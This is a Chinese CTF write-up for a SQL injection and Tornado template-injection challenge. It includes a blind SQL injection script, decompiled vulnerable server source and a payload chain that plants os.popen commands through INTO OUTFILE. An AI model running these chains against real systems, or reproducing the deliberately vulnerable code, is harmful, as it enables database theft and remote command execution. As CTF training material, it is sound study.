开局一个注入。但是过滤了sys。<>= like tables coluns 等关键字。
所以第一步。就必须绕过注入拿到管理员用户名和密码。
这里我用的是performance_schema.file_instances拿到对应的数据库文件路径
例如test数据库,数据库文件路径就是/var/lib/mysql/test/表.frm
这样。我们就能获取到test库下的表名
下一步就要知道表结构。mysql会纪录执行的sql语句到performance_schema.events_statements_summary_by_digest
同理select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest即可得到表结构
EXP:
import requests
import time
for a in range(1,300):
for i in range(130,-1,-1):
if(i<30):
exit(0)
url = "http://f96ea2c5-35a7-444f-8eee-4a086e4797dd.node3.buuoj.cn/register.php?username=' or if((ascii(substr((select group_concat(qwbqwbqwbuser,0x7e,qwbqwbqwbpass) FROM qwbtttaaab111e )," + str(a) + ",1)) in (" + str(i) + ")),1,0) or '0&password=12"
#admin~we111c000me_to_qwb
#url = "http://eci-2zece4hj2xonmso7ryud.cloudeci1.ichunqiu.com:8888/register.php?username=' or if((ascii(substr((select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest where SCHEMA_NAME in ('qwb') limit 2,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"
#INSERT INTO `qwbtttaaab111e` ( `qwbqwbqwbuser` , `qwbqwbqwbpass` ) VALUES (...)
#url = "http://eci-2zece4hj2xonmso7ryud.cloudeci1.ichunqiu.com:8888/register.php?username=' or if((ascii(substr((select (file_name) FROM performance_schema.file_instances limit 150,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"
time.sleep(0.5)
r = requests.get(url)
if 'this username' in r.text:
print(chr(i),end='')
break
else:
if('success' in r.text):
pass
else:
print(r.text)
登陆后。会有个抓取图片的接口。这里buu上的环境貌似没这一步(或许魔改了)
会得到一个读文件接口。然后读/proc/self/cmdline、得到python3 /qwb/app/app.py
读app.py和flag不允许。但是python有个pyc文件。网上搜了下https://www.leavesongs.com/PENETRATION/pwnhub-web-classroom-django-sql-injection.html
读到/qwb/app/__pycache__/app.cpython-35.pyc
反编译后得到源码
import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re
settings = {'static_path': os.path.join(os.getcwd(), 'static'),
'cookie_secret': 'b93a9960-bfc0-11eb-b600-002b677144e0'}
db_username = 'root'
db_password = 'xxxx'
class MainHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie('user')
if user and user == b'admin':
self.redirect('/admin.php', permanent=True)
return
self.render('index.html')
class LoginHandler(tornado.web.RequestHandler):
def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
if not username or not password:
if not self.get_secure_cookie('user'):
self.finish('<script>alert(`please input your password and username`);history.go(-1);</script>')
return
if self.get_secure_cookie('user') == b'admin':
self.redirect('/admin.php', permanent=True)
else:
self.redirect('/', permanent=True)
else:
conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
cursor = conn.cursor()
cursor.execute('SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s', [username, password])
results = cursor.fetchall()
if len(results) != 0:
if results[0][1] == 'admin':
self.set_secure_cookie('user', 'admin')
cursor.close()
conn.commit()
conn.close()
self.redirect('/admin.php', permanent=True)
return
else:
cursor.close()
conn.commit()
conn.close()
self.finish('<script>alert(`login success, but only admin can get flag`);history.go(-1);</script>')
return
else:
cursor.close()
conn.commit()
conn.close()
self.finish('<script>alert(`your username or password is error`);history.go(-1);</script>')
return
class RegisterHandler(tornado.web.RequestHandler):
def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
word_bans = ['table', 'col', 'sys', 'union', 'inno', 'like', 'regexp']
bans = ['"', '#', '%', '&', ';', '<', '=', '>', '\\', '^', '`', '|', '*', '--', '+']
for ban in word_bans:
if re.search(ban, username, re.IGNORECASE):
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
for ban in bans:
if ban in username:
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
if not username or not password:
self.render('register.html')
return
if username == 'admin':
self.render('register.html')
return
conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
cursor = conn.cursor()
try:
cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % username)
results = cursor.fetchall()
if len(results) != 0:
self.finish('<script>alert(`this username had been used`);history.go(-1);</script>')
conn.commit()
conn.close()
return
except:
conn.commit()
conn.close()
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
try:
cursor.execute('insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)', [username, password])
conn.commit()
conn.close()
self.finish("<script>alert(`success`);location.href='/index.php';</script>")
return
except:
conn.rollback()
conn.close()
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
class LogoutHandler(tornado.web.RequestHandler):
def get(self):
self.clear_all_cookies()
self.redirect('/', permanent=True)
class AdminHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie('user')
if not user or user != b'admin':
self.redirect('/index.php', permanent=True)
return
self.render('admin.html')
class ImageHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie('user')
image_name = self.get_argument('qwb_image_name', 'header.jpeg')
if not image_name:
self.redirect('/', permanent=True)
return
else:
if not user or user != b'admin':
self.redirect('/', permanent=True)
return
if image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:
self.finish("nonono, you can't read it.")
return
image_name = os.path.join(os.getcwd() + '/image', image_name)
with open(image_name, 'rb') as (f):
img = f.read()
self.set_header('Content-Type', 'image/jpeg')
self.finish(img)
return
class SecretHandler(tornado.web.RequestHandler):
def get(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
msg = self.get_argument('congratulations', 'oh! you find it')
bans = []
for ban in bans:
if ban in msg:
self.finish('bad hack,go out!')
return
with open('congratulations.html', 'w') as (f):
f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)
f.flush()
self.render('congratulations.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
def make_app():
return tornado.web.Application([
(
'/index.php', MainHandler),
(
'/login.php', LoginHandler),
(
'/logout.php', LogoutHandler),
(
'/register.php', RegisterHandler),
(
'/admin.php', AdminHandler),
(
'/qwbimage.php', ImageHandler),
(
'/good_job_my_ctfer.php', SecretHandler),
(
'/', MainHandler)], **settings)
if __name__ == '__main__':
app = make_app()
app.listen(8000)
tornado.ioloop.IOLoop.current().start()
print('start')
可以看到还有一个good_job_my_ctfer.php接受congratulations参数。经过黑名单检测然后render。明显的SSTI。但是tornado框架的SSTI除了护网杯那题。还有网上的{% import os %}{{os.system("")}}
由于这里有黑名单检测,以上方法都不行。然后发现了一些船新的姿势。但还是绕不过黑名单
例如
{% extends /etc/passwd %}
#读文件。或者包含文件
{% set print(1) %}
{% raw print(1) %}
#执行python代码
以上都绕不过去。这题也用不了这么麻烦
这里配合sql注入 into outfile{% import os %}{{os.system("cat /flag")}}
到一个目录。然后extends包含模板就行
EXP:
/register.php?username=guoke&password={% set return __import__("os").popen("cat /qwb_002b677144e0/flag").read()%}
/register.php?username=guoke' into outfile '/var/lib/mysql-files/guoke&password=123
/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/guoke%}
/var/lib/mysql-files/是因为有个securit-priv限制。只能写到这